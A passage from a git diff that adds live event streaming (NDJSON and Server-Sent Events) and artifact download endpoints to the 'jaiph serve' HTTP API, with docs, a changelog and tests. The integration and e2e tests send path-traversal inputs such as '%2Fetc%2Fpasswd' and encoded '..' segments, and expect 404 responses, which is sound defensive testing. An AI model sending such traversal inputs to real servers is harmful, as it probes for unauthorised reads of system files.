`application/x-ndjson`, verbatim, then closes; with `Accept: text/event-stream` it switches to **Server-Sent Events** — `streamRunEventsSse` replays every existing line as `data: `, then follows the file as it appends (polling ~250 ms), emits a `:ka` keep-alive comment every 15 s, and closes with `event: end` once the server's run registry marks the run terminal (so it works identically for a still-running run and an already-terminal one: full replay plus an immediate `end`). **`GET /v1/runs/{id}/artifacts`** returns `{artifacts: [{path, size, mtime}, …]}` for every regular file under the run's `artifacts/` (recursive, `[]` when none). **`GET /v1/runs/{id}/artifacts/{path}`** downloads one file as `application/octet-stream` with a `Content-Disposition` filename. All three are `404` on an unknown run id and `401` unauthenticated. To reach a run that is *still executing* — whose dir is only recorded on its record at finalize — the server injects a `resolveRunDir` resolver (`src/cli/commands/serve.ts`) that falls back to scanning the host runs root for the run id via `findRunDir` (`src/cli/shared/errors.ts`), which also resolves the **Docker-mode** host-side run dir (the run dir is a host mount in every sandbox mode). The HTTP layer grew a streaming path: `ServeResponse` now carries an optional `bodyBuffer` (binary bodies — NDJSON journal, artifact bytes) and a `stream(target)` hook driven by `src/cli/serve/server.ts`'s `makeStreamTarget`, which wires SSE writes to the socket and flips `aborted` (stopping the follow loop) the moment the client disconnects. **Security:** the journal is served **verbatim** — the credential redaction `RuntimeEventEmitter` already applies (values of `*_API_KEY` / `*_TOKEN` / `*_SECRET` env vars → `[REDACTED]`) *is* the redaction guarantee — and the raw per-step `%06d-*.out` / `.err` capture files are unreachable **by construction**: `listArtifacts` walks only the `artifacts/` subtree (the captures live in the run-dir root), and downloads go through `resolveArtifactPath`, which is traversal-proof via three guards checked before any read — reject empty/NUL requests, lexical containment (`resolve()` collapses `..`/absolute paths and the result must sit under `artifacts/`), and **symlink** containment (`realpathSync` on both the artifacts dir and the candidate — an `artifacts/` symlink pointing outside is rejected without reading its target, while one pointing inside still serves). Tests: `src/cli/serve/runfiles.test.ts` (artifact listing skips `.out`/`.err` captures; the full traversal battery — `../`, absolute, empty/NUL, directory, escaping symlink rejected without reading the target, inside-pointing symlink served, and a capture-file symlink rejected; SSE replays a terminal journal as `data:` frames then `event: end`, and stops promptly on client disconnect), `integration/serve-server.test.ts` (SSE mid-run: replayed `WORKFLOW_START`, a `STEP_END` **before** the run is terminal, `event: end` + socket close after completion, and the concatenated `data:` payloads equal the final journal line set; NDJSON on a terminal run byte-matches the journal; unknown run → `404`; unauthenticated → `401`; a credential echoed by a run is absent and `[REDACTED]` present in the stream; artifacts list-then-download round-trips byte-identically and a traversal is `404`), and `e2e/tests/147_serve_http_api.sh` (NDJSON byte-matches `run_summary.jsonl`; artifact list + byte-identical download; URL-encoded `%2e%2e` traversal → `404`). Docs: "Watch a run as it executes" and "Download a run's artifacts" sections in [Serve workflows over HTTP](serve.md) (with the raw-captures non-exposure called out as a security property), and the three endpoint rows in the `jaiph serve` table in [CLI](cli.md). (Deployability feedback `2026-07-23` — "a UI on top to be able to inspect what it is doing"; contract in `design/2026-07-23-serve-http-api.md` § Events streaming.) + - **Feat — `jaiph serve`: HTTP API with OpenAPI 3.1 + Swagger UI:** A new command turns a `.jh` file into a network-reachable, self-describing HTTP service, complementing `jaiph mcp` (which exposes the same workflows only over stdio JSON-RPC to a co-located parent). `jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... ` (default `127.0.0.1:5247`) is dispatched from `src/cli/index.ts` and implemented in `src/cli/commands/serve.ts` + `src/cli/serve/`, hand-rolled on `node:http` with **no runtime npm dependencies** (project policy — `package.json` `dependencies` stays absent; the MCP server set the precedent). Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (errors to stderr, exit `1`), `--env` resolved once via `resolveEnvPairs`, Docker config + image prepared once, credential pre-flight as warnings, and a sandbox-mode notice; all logs go to stderr and one startup line prints the listen URL and the `/docs` URL. Endpoints: `GET /` → `302 /docs`; unauthenticated `GET /healthz`, `GET /openapi.json`, `GET /docs`; and bearer-gated `GET /v1/workflows`, `POST /v1/workflows/{name}/runs` (async `202` + `Location`, or `?wait=true` → terminal `200`), `GET /v1/runs`, `GET /v1/runs/{id}`, `POST /v1/runs/{id}/cancel`. A run is a durable resource `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` with `status ∈ running|succeeded|failed|cancelled`; **a workflow failure is not an HTTP error** — it comes back `200`/`202` with `status:"failed"` and the same failure narrative `jaiph mcp` returns. Errors use `{error:{code,message}}`: `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB body cap), `415 E_UNSUPPORTED_MEDIA_TYPE` (non-`application/json` body), `429 E_TOO_MANY_RUNS`. Workflow exposure, naming, descriptions, and request-body schemas come from the shared `deriveTools` (`src/cli/mcp/tools.ts`) — identical rules to MCP (export-narrowing, route-target exclusion, `default` handling, required-string params, `additionalProperties:false`), with param validation mirroring MCP's `-32602` rules as HTTP `400`. **Auth:** bearer token from `JAIPH_SERVE_TOKEN` (env only, never argv), constant-time compared, required on all `/v1/*`; `/healthz`, `/openapi.json`, `/docs` stay unauthenticated (schema metadata only, a documented trade-off) — and binding a non-loopback `--host` without the token set is a startup error before any socket opens. **Limits:** `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs → `429`. `GET /openapi.json` returns OpenAPI **3.1.0** generated per request by the pure `buildOpenApi(tools, serverInfo)` (`src/cli/serve/openapi.ts`) — one concrete path per workflow (own `operationId`, `#`-comment description, MCP input schema as request body), the run-resource paths, run/error component schemas, and a bearer `securityScheme`. `GET /docs` serves a static Swagger UI shell (`src/cli/serve/docs.ts`) loading `swagger-ui-dist` from a CDN with a **pinned exact version + SRI `integrity` hashes + `crossorigin`** on both assets and `SwaggerUIBundle({url:"/openapi.json", persistAuthorization:true})` — no vendored assets, so `/docs` needs browser internet access and `/openapi.json` is the offline fallback (air-gap consequence recorded in the design doc). Execution reuses the MCP call layer, **moved** from `src/cli/mcp/call.ts` to `src/cli/exec/call.ts` (`McpCallResult` → `WorkflowCallResult`, caller now supplies `runId`, result extended with `{runDir?, exitStatus?, signal?}`); sandbox selection, `--env` passthrough, and cancellation (child kill + `stopDockerContainer`) work exactly as for MCP calls. The generation/hot-reload machinery (`loadState`, watch/rewatch, generation dirs) was extracted from `src/cli/commands/mcp.ts` into `src/cli/shared/generation.ts` and is now shared by both commands; editing a served source re-derives the workflow set and the OpenAPI document with no restart, and a superseded generation's scripts dir is deleted only after its in-flight runs finish (refcounted, since HTTP runs can outlive a reload). Shutdown: the first `SIGINT`/`SIGTERM` stops accepting and drains in-flight runs, a second signal cancels them, exit `0`. `jaiph mcp` behavior is unchanged after the extraction (its own tests prove it). Tests: `src/cli/serve/handler.test.ts` (injected-deps handler — unknown workflow `404`; missing / non-string / unexpected param `400`; cancel `202` → terminal `cancelled` with child + container teardown, cancel-on-terminal `409`; `429`/`413`/`415`; auth matrix incl. non-loopback-without-token exit `1`), `src/cli/serve/openapi.test.ts` (output passes a real OpenAPI 3.1 validator devDependency; one path per exposed workflow with the exact MCP-derived schema, covering the export-narrowing fixture), `src/cli/serve/docs.test.ts` (pinned version + `integrity` + `crossorigin` on both assets), `integration/serve-server.test.ts` (real server on port 0 — `wait=true` round-trips a `return` value into `result_text` with `status:"succeeded"`; async `202` + `Location` polled to the same terminal result; failing workflow → HTTP `200` with `status:"failed"`, `exit_status`, and `run dir:` in `result_text`; hot-reload surfaces a new workflow in `/openapi.json` and `/v1/workflows` while a pre-reload run still completes), and `e2e/tests/147_serve_http_api.sh` (wired into `e2e/test_all.sh`). Docs: new [Serve workflows over HTTP](serve.md) how-to, a `jaiph serve` section in [CLI](cli.md), `JAIPH_SERVE_TOKEN` and `JAIPH_SERVE_MAX_CONCURRENT` rows in [Environment variables](env-vars.md), `printUsage` in `src/cli/shared/usage.ts`, a README feature bullet, and the features overview on `docs/index.html`. (Deployability feedback `2026-07-23`; contract in `design/2026-07-23-serve-http-api.md`.) # 0.11.0 diff --git a/QUEUE.md b/QUEUE.md index 5d29085f..92226661 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,35 +14,6 @@ Process rules: *** -## Feat: `jaiph serve` run inspection — live event stream + artifacts #dev-ready - -**Source:** Deployability feedback (2026-07-23): "a UI on top to be able to inspect what it is doing" — the API half of that is streaming run events and exposing artifacts over HTTP. Contract: `design/2026-07-23-serve-http-api.md` (§ Events streaming). Requires the `jaiph serve` command (`src/cli/commands/serve.ts`, run registry + bearer auth) already in the codebase. - -**Problem:** A `jaiph serve` client can see a run's terminal result but not what the run is doing while it executes, and cannot retrieve published artifacts. The durable journal (`run_summary.jsonl`, written by `RuntimeEventEmitter` — hash-chained, credential-redacted, host-visible in every sandbox mode because the run dir is a host mount) already contains everything needed; it just isn't reachable over HTTP. - -**Required behavior:** - -* `GET /v1/runs/{id}/events` (bearer-authed, 404 unknown run): - * default: `application/x-ndjson` — the run's `run_summary.jsonl` content as-is, then close. - * `Accept: text/event-stream` → SSE: replay every existing journal line as `data: `, then follow the file (poll ~250 ms) emitting new lines as they append; when the server's registry marks the run terminal, emit `event: end` and close. Keep-alive comment (`:ka`) every 15 s. Works for already-terminal runs (full replay + immediate `end`). - * The journal is served verbatim — the redaction already applied by `RuntimeEventEmitter` is the redaction guarantee. Raw `%06d-*.out/.err` capture files are **never** exposed by any endpoint. -* `GET /v1/runs/{id}/artifacts` → JSON list of files under the run dir's `artifacts/` (relative paths, size, mtime); empty list when none. -* `GET /v1/runs/{id}/artifacts/{path}` → file bytes, `application/octet-stream`, `Content-Disposition` filename. **Traversal-proof:** resolve the requested path against the artifacts dir and reject (404) anything escaping it — `..` segments, absolute paths, and symlinks pointing outside the artifacts dir (check `realpath` containment, not string prefix only). -* Docker-mode runs: the journal/artifacts are read from the host-side run dir (discovered as the existing call layer already does via `discoverDockerRunDir`/`remapContainerPath` in `src/cli/shared/errors.ts`). -* Docs: extend `docs/serve.md` with a "watch a run" section (curl SSE example) and artifacts section; note the raw-captures non-exposure as a security property. - -Acceptance: - -* Integration test with a multi-step fixture workflow slow enough to observe (e.g. `sleep` steps): connect SSE mid-run and assert (a) replayed `WORKFLOW_START` arrives, (b) at least one `STEP_END` event arrives **before** the run is terminal, (c) `event: end` arrives and the socket closes after completion, (d) the concatenated `data:` payloads equal the final `run_summary.jsonl` line set. -* Test: NDJSON mode on a terminal run byte-matches the journal file; events endpoint on an unknown run id → 404; unauthenticated → 401. -* Redaction test: a workflow that echoes a credential env value (key matching the `_API_KEY`/`_TOKEN` redaction suffixes, value ≥8 chars) produces an event stream where the value is absent and `[REDACTED]` present. -* Artifacts round-trip test: a workflow publishing a file to `$JAIPH_ARTIFACTS_DIR` lists and downloads it byte-identically. -* Traversal test battery: `../`-containing path, absolute path, URL-encoded `%2e%2e`, and a symlink inside `artifacts/` pointing outside the run dir all return 404 without reading the target; a symlink target **inside** artifacts still serves. -* A grep-style test or unit assertion proves no route serves `*.out`/`*.err` capture files. -* `npm test` passes. - -*** - ## Feat: OTLP trace export — one span tree per run, zero dependencies #dev-ready **Source:** Observability feedback (2026-07-23): "OTEL + Sentry configurable would be the easiest way" to make jaiph observable in a company setting. This task is the OTEL half. diff --git a/docs/cli.md b/docs/cli.md index f6ce3412..a73902ec 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -377,6 +377,9 @@ Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (diagnostics to s | `POST /v1/workflows/{name}/runs` | bearer | Start a run. Default `202` + `Location: /v1/runs/{id}`; `?wait=true` blocks for the terminal `200`. | | `GET /v1/runs` | bearer | Runs started by this process (in-memory), newest first. | | `GET /v1/runs/{id}` | bearer | The run object. `404` unknown. | +| `GET /v1/runs/{id}/events` | bearer | The run's `run_summary.jsonl`. Default `application/x-ndjson` snapshot; `Accept: text/event-stream` replays then follows it live, closing with `event: end` when terminal. Served verbatim (already credential-redacted); raw capture files are never exposed. `404` unknown. | +| `GET /v1/runs/{id}/artifacts` | bearer | `{artifacts: [{path, size, mtime}]}` for files published under the run's `artifacts/` (empty when none). `404` unknown. | +| `GET /v1/runs/{id}/artifacts/{path}` | bearer | Download one published file (`application/octet-stream`). Traversal-proof — `..`, absolute paths, and escaping symlinks are `404`. | | `POST /v1/runs/{id}/cancel` | bearer | `202`; the run reaches `cancelled`. `409` if already terminal. | The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB body cap), `415` (non-`application/json` body), and `429 E_TOO_MANY_RUNS`. diff --git a/docs/serve.md b/docs/serve.md index eda48df7..23bef68b 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -50,11 +50,42 @@ curl -s -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs?wait=true' \ The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}`. `result_text` is the same content an MCP client sees — the workflow's `return` value, or its failure narrative. **A workflow failure is not an HTTP error:** a failed run comes back `200`/`202` with `status: "failed"` and a `run dir:` pointer in `result_text`. Poll `GET /v1/runs/{id}` for an async run, list them with `GET /v1/runs` (newest first), and stop one with `POST /v1/runs/{id}/cancel`. -## 4. Use the Swagger UI +## 4. Watch a run as it executes + +`GET /v1/runs/{id}/events` streams the run's durable event journal (`run_summary.jsonl`) — the same timeline the CLI progress tree is built from. Two modes: + +```bash +# Snapshot (default): the whole journal as newline-delimited JSON, then close. +curl -s http://127.0.0.1:5247/v1/runs/$ID/events + +# Live: Server-Sent Events — replays the journal so far, then follows it as the +# run appends, and closes with an `event: end` when the run is terminal. +curl -sN -H 'accept: text/event-stream' http://127.0.0.1:5247/v1/runs/$ID/events +``` + +Each SSE message is a `data:` line carrying one raw journal line (`WORKFLOW_START`, `STEP_START`/`STEP_END`, `LOG*`, `PROMPT_*`, `WORKFLOW_END`); a `:ka` comment every 15 s keeps proxies from idling the connection out. Connect while the run is still going to watch step-by-step, or after it finishes for a full replay plus an immediate `event: end`. (Add `-H 'authorization: Bearer '` when a token is set — `curl -N` disables buffering so events surface as they arrive.) + +> **Security:** the journal is served **verbatim** — the credential redaction `jaiph` applies when writing it (values of `*_API_KEY` / `*_TOKEN` / `*_SECRET` env vars become `[REDACTED]`) is the redaction guarantee. The raw per-step capture files (`NNNNNN-*.out` / `.err`) are **never** exposed by any endpoint; only the redacted journal and files a workflow explicitly publishes are reachable over HTTP. + +## 5. Download a run's artifacts + +Files a workflow publishes to `$JAIPH_ARTIFACTS_DIR` (see [artifacts](/how-to/artifacts)) are listable and downloadable: + +```bash +# List published files: [{path, size, mtime}, ...] (empty when the run made none). +curl -s http://127.0.0.1:5247/v1/runs/$ID/artifacts | jq + +# Download one by its relative path (application/octet-stream). +curl -s http://127.0.0.1:5247/v1/runs/$ID/artifacts/report.txt -o report.txt +``` + +The download path is resolved strictly inside the run's `artifacts/` directory and is traversal-proof: `..` segments, absolute paths, and symlinks pointing outside the directory all return `404` without touching the target file. + +## 6. Use the Swagger UI Open `http://127.0.0.1:5247/docs` in a browser to get a live form for every workflow. When a token is configured, paste it into the **Authorize** box (Swagger UI keeps it across reloads). The UI loads its assets from a pinned, SRI-verified CDN, so `/docs` needs internet access in the browser; air-gapped operators use `/openapi.json` with any locally-hosted renderer. -## 5. Require a token and expose the port +## 7. Require a token and expose the port The token comes from the environment (never argv, which leaks into process listings). With it set, every `/v1/*` request must carry `Authorization: Bearer `; `/healthz`, `/openapi.json`, and `/docs` stay open. diff --git a/e2e/tests/147_serve_http_api.sh b/e2e/tests/147_serve_http_api.sh index 51541bca..cdd90641 100755 --- a/e2e/tests/147_serve_http_api.sh +++ b/e2e/tests/147_serve_http_api.sh @@ -43,6 +43,13 @@ workflow greet(name) { workflow boom() { fail "boom-failed" } + +script publish = `printf 'artifact-payload' > "$JAIPH_ARTIFACTS_DIR/result.txt"` +# Publishes a file into the run's artifacts dir. +workflow make_artifact() { + run publish() + return "published" +} EOF e2e::section "jaiph serve exposes an HTTP API over host-mode runs" @@ -116,10 +123,44 @@ e2e::assert_equals "${boom_code}" "200" "a failing workflow is HTTP 200 (workflo boom_status="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["status"])' "${boom_body}")" e2e::assert_equals "${boom_status}" "failed" "boom run status is failed" -# --- GET /v1/workflows lists both exposed workflows --- +# --- GET /v1/workflows lists all exposed workflows --- workflows="$(curl -s "${base}/v1/workflows" | python3 -c ' import json, sys names = sorted(w["name"] for w in json.load(sys.stdin)["workflows"]) print(",".join(names)) ')" -e2e::assert_equals "${workflows}" "boom,greet" "GET /v1/workflows lists both workflows" +e2e::assert_equals "${workflows}" "boom,greet,make_artifact" "GET /v1/workflows lists all workflows" + +# --- GET /v1/runs/{id}/events (NDJSON) mirrors the durable journal --- +# The greet run above returned a run object; re-run it capturing the id, then +# byte-compare the events endpoint against the on-disk run_summary.jsonl. +run_json="$(curl -s -X POST "${base}/v1/workflows/greet/runs?wait=true" \ + -H 'content-type: application/json' -d '{"name":"events"}')" +run_id="$(printf '%s' "${run_json}" | python3 -c 'import json,sys; print(json.load(sys.stdin)["run_id"])')" +run_dir="$(printf '%s' "${run_json}" | python3 -c 'import json,sys; print(json.load(sys.stdin)["run_dir"])')" + +events_body="${TEST_DIR}/events.ndjson" +curl -s "${base}/v1/runs/${run_id}/events" -o "${events_body}" +# Full-content equality: the NDJSON stream is the journal, verbatim. +e2e::assert_equals "$(cat "${events_body}")" "$(cat "${run_dir}/run_summary.jsonl")" \ + "GET events (NDJSON) byte-matches the run's run_summary.jsonl" + +# --- artifacts: list + byte-identical download, traversal is rejected --- +art_json="$(curl -s -X POST "${base}/v1/workflows/make_artifact/runs?wait=true" \ + -H 'content-type: application/json' -d '{}')" +art_id="$(printf '%s' "${art_json}" | python3 -c 'import json,sys; print(json.load(sys.stdin)["run_id"])')" + +art_list="$(curl -s "${base}/v1/runs/${art_id}/artifacts" | python3 -c ' +import json, sys +print(",".join(a["path"] for a in json.load(sys.stdin)["artifacts"])) +')" +e2e::assert_equals "${art_list}" "result.txt" "GET artifacts lists the published file" + +art_file="${TEST_DIR}/downloaded.txt" +curl -s "${base}/v1/runs/${art_id}/artifacts/result.txt" -o "${art_file}" +e2e::assert_equals "$(cat "${art_file}")" "artifact-payload" "artifact downloads byte-identically" + +# A URL-encoded `..` traversal escaping artifacts/ is a 404 (no bytes served). +trav_code="$(curl -s -o /dev/null -w '%{http_code}' \ + "${base}/v1/runs/${art_id}/artifacts/%2e%2e%2frun_summary.jsonl")" +e2e::assert_equals "${trav_code}" "404" "artifact path traversal is rejected with 404" diff --git a/integration/serve-server.test.ts b/integration/serve-server.test.ts index afbd609c..28b9b5b1 100644 --- a/integration/serve-server.test.ts +++ b/integration/serve-server.test.ts @@ -1,7 +1,7 @@ import test from "node:test"; import assert from "node:assert/strict"; import { spawn, spawnSync } from "node:child_process"; -import { existsSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { existsSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join } from "node:path"; @@ -25,6 +25,29 @@ const BASE_FIXTURE = [ ' return "woke"', "}", "", + "script step_one = `sleep 0.4; echo one`", + "script step_two = `sleep 0.4; echo two`", + "# Two slow steps so a STEP_END is observable before the run is terminal.", + "workflow watchable() {", + " run step_one()", + " run step_two()", + ' return "watched"', + "}", + "", + 'script leak = `echo "token is $LEAK_API_KEY"`', + "# Echoes a credential value to stdout to exercise journal redaction.", + "workflow leak_secret() {", + " run leak()", + ' return "done"', + "}", + "", + 'script publish = `printf \'artifact-payload\' > "$JAIPH_ARTIFACTS_DIR/result.txt"`', + "# Publishes a file into the run's artifacts dir.", + "workflow make_artifact() {", + " run publish()", + ' return "published"', + "}", + "", ].join("\n"); function serveEnv(runsRoot: string, extra?: Record): NodeJS.ProcessEnv { @@ -247,6 +270,168 @@ test("jaiph serve: binding a non-loopback host without JAIPH_SERVE_TOKEN exits 1 } }); +/** + * Extract the journal `data:` payloads (one per journal line) from an SSE + * buffer. The terminating `event: end\ndata: {}` frame is excluded — only the + * replayed/followed journal lines are returned. + */ +function sseDataLines(sse: string): string[] { + return sse + .split("event: end")[0] + .split("\n") + .filter((l) => l.startsWith("data: ")) + .map((l) => l.slice("data: ".length)); +} + +test("jaiph serve: SSE events replay WORKFLOW_START, stream a STEP_END mid-run, then close on event: end", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-sse-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs"))); + try { + // Start async, then connect the event stream while the run is still going. + const startRes = await fetch(`${srv.baseUrl}/v1/workflows/watchable/runs`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: "{}", + }); + assert.equal(startRes.status, 202); + const runId = (await startRes.json()).run_id; + + const evRes = await fetch(`${srv.baseUrl}/v1/runs/${runId}/events`, { headers: { accept: "text/event-stream" } }); + assert.equal(evRes.status, 200); + assert.match(evRes.headers.get("content-type") ?? "", /text\/event-stream/); + + // Read the stream to completion (the server closes after `event: end`). + const reader = evRes.body!.getReader(); + const decoder = new TextDecoder(); + let sse = ""; + for (;;) { + const { value, done } = await reader.read(); + if (done) break; + sse += decoder.decode(value, { stream: true }); + if (sse.includes("event: end")) break; + } + + const dataLines = sseDataLines(sse); + const events = dataLines.map((l) => JSON.parse(l)); + // (a) the replayed WORKFLOW_START is present. + assert.ok(events.some((e) => e.type === "WORKFLOW_START"), "WORKFLOW_START replayed"); + // (b) a STEP_END arrived, and it precedes the terminating `event: end`. + const stepEndIdx = sse.indexOf('"type":"STEP_END"'); + const endIdx = sse.indexOf("event: end"); + assert.ok(stepEndIdx !== -1, "at least one STEP_END streamed"); + assert.ok(stepEndIdx < endIdx, "STEP_END arrived before the run went terminal"); + // (c) the stream closed with event: end. + assert.match(sse, /event: end/); + + // (d) the concatenated data payloads equal the final run_summary.jsonl line set. + const run = await pollRun(srv.baseUrl, runId); + assert.equal(run.status, "succeeded"); + const journalLines = readFileSync(join(run.run_dir, "run_summary.jsonl"), "utf8").split("\n").filter(Boolean); + assert.deepEqual(dataLines, journalLines, "SSE data payloads match the journal exactly"); + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: NDJSON events on a terminal run byte-match the journal; unknown run → 404, unauthenticated → 401", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-ndjson-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + // A token so the 401 path is exercised. + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs"), { JAIPH_SERVE_TOKEN: "t0ken" })); + const auth = { authorization: "Bearer t0ken" }; + try { + const runRes = await fetch(`${srv.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json", ...auth }, + body: JSON.stringify({ name: "nd" }), + }); + const run = await runRes.json(); + assert.equal(run.status, "succeeded"); + + const ev = await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}/events`, { headers: auth }); + assert.equal(ev.status, 200); + assert.match(ev.headers.get("content-type") ?? "", /application\/x-ndjson/); + const body = Buffer.from(await ev.arrayBuffer()); + assert.deepEqual(body, readFileSync(join(run.run_dir, "run_summary.jsonl")), "NDJSON is byte-identical to the journal"); + + // Unknown run id → 404. + assert.equal((await fetch(`${srv.baseUrl}/v1/runs/does-not-exist/events`, { headers: auth })).status, 404); + // Unauthenticated → 401. + assert.equal((await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}/events`)).status, 401); + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: a credential echoed by a run is [REDACTED] in the event stream", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-redact-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const secret = "supersecretvalue123"; + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs")), ["--env", `LEAK_API_KEY=${secret}`]); + try { + const runRes = await fetch(`${srv.baseUrl}/v1/workflows/leak_secret/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: "{}", + }); + const run = await runRes.json(); + assert.equal(run.status, "succeeded", `run failed: ${JSON.stringify(run)}`); + + const ev = await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}/events`); + const journal = await ev.text(); + assert.ok(!journal.includes(secret), "the raw credential value must not appear in the event stream"); + assert.ok(journal.includes("[REDACTED]"), "the redaction marker is present where the value was"); + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: artifacts round-trip — list then byte-identical download, traversal is 404", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-art-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs"))); + try { + const runRes = await fetch(`${srv.baseUrl}/v1/workflows/make_artifact/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: "{}", + }); + const run = await runRes.json(); + assert.equal(run.status, "succeeded", `run failed: ${JSON.stringify(run)}`); + + const list = await (await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}/artifacts`)).json(); + assert.deepEqual( + list.artifacts.map((a: any) => a.path), + ["result.txt"], + "the published file is listed", + ); + + const dl = await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}/artifacts/result.txt`); + assert.equal(dl.status, 200); + assert.match(dl.headers.get("content-type") ?? "", /application\/octet-stream/); + assert.match(dl.headers.get("content-disposition") ?? "", /filename="result\.txt"/); + assert.equal(Buffer.from(await dl.arrayBuffer()).toString("utf8"), "artifact-payload"); + + // Traversal battery: encoded `..`, `%2e%2e`, and an absolute path all 404, + // and the run's own run_summary.jsonl (outside artifacts/) is unreachable. + for (const escape of ["..%2Frun_summary.jsonl", "%2e%2e%2frun_summary.jsonl", "%2Fetc%2Fpasswd"]) { + const res = await fetch(`${srv.baseUrl}/v1/runs/${run.run_id}/artifacts/${escape}`); + assert.equal(res.status, 404, `traversal ${escape} → 404`); + } + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + test("jaiph --help lists jaiph serve", () => { const result = spawnSync("node", [CLI_PATH, "--help"], { encoding: "utf8", stdio: ["ignore", "pipe", "pipe"] }); assert.equal(result.status, 0); diff --git a/src/cli/commands/serve.ts b/src/cli/commands/serve.ts index b17f87d6..508b2bf6 100644 --- a/src/cli/commands/serve.ts +++ b/src/cli/commands/serve.ts @@ -2,6 +2,7 @@ import { existsSync, mkdtempSync, rmSync, statSync } from "node:fs"; import { tmpdir } from "node:os"; import { basename, dirname, extname, join, resolve } from "node:path"; import { detectWorkspaceRoot } from "../shared/paths"; +import { findRunDir } from "../shared/errors"; import { hasHelpFlag, parseArgs } from "../shared/usage"; import { resolveEnvPairs } from "../run/env"; import { callWorkflow } from "../exec/call"; @@ -31,7 +32,8 @@ const SERVE_USAGE = "from the `#` comment lines above each workflow. Sources are re-validated on change.\n\n" + "Endpoints: GET /docs (Swagger UI), GET /openapi.json, GET /healthz, GET /v1/workflows,\n" + "POST /v1/workflows/{name}/runs (async 202 or ?wait=true for 200), GET /v1/runs,\n" + - "GET /v1/runs/{id}, POST /v1/runs/{id}/cancel.\n\n" + + "GET /v1/runs/{id}, GET /v1/runs/{id}/events (NDJSON, or SSE with Accept: text/event-stream),\n" + + "GET /v1/runs/{id}/artifacts, GET /v1/runs/{id}/artifacts/{path}, POST /v1/runs/{id}/cancel.\n\n" + "Auth: set JAIPH_SERVE_TOKEN to require `Authorization: Bearer ` on every\n" + "/v1/* request (/healthz, /openapi.json, /docs stay open). Binding a non-loopback\n" + "host without the token set is a startup error. Cap concurrent runs with\n" + @@ -145,9 +147,11 @@ export async function runServe(rest: string[]): Promise { } let dockerConfig: ReturnType["dockerConfig"]; + let hostRunsRoot: string; try { const posture = resolveStartupPosture(current.state, inputAbs, workspaceRoot, log); dockerConfig = posture.dockerConfig; + hostRunsRoot = posture.hostRunsRoot; if (dockerConfig.enabled) { if (posture.sandboxMode === "inplace") { log( @@ -183,6 +187,10 @@ export async function runServe(rest: string[]): Promise { token, maxConcurrent, now: () => new Date().toISOString(), + // A run's dir is only recorded on its object at finalize; while it runs the + // events/artifacts endpoints locate it by scanning the host runs root for + // the run id (works host- and Docker-side — the run dir is a host mount). + resolveRunDir: (record) => record.run_dir ?? findRunDir(hostRunsRoot, record.run_id), getTools: () => current.state.tools, callTool: (spec, args, runId, ctx) => { // Bind the run to the generation live at start; keep its scripts dir alive diff --git a/src/cli/serve/handler.test.ts b/src/cli/serve/handler.test.ts index 9453326f..db105bdd 100644 --- a/src/cli/serve/handler.test.ts +++ b/src/cli/serve/handler.test.ts @@ -1,6 +1,10 @@ import test from "node:test"; import assert from "node:assert/strict"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { ServeHandler, type ServeRequest, type ServeResponse } from "./handler"; +import type { StreamTarget } from "./runfiles"; import type { McpToolSpec } from "../mcp/tools"; import type { WorkflowCallResult, WorkflowCallContext } from "../exec/call"; @@ -290,3 +294,119 @@ test("cancel on an unknown run is 404; cancel on a terminal run is 409", async ( assert.equal(again.status, 409); 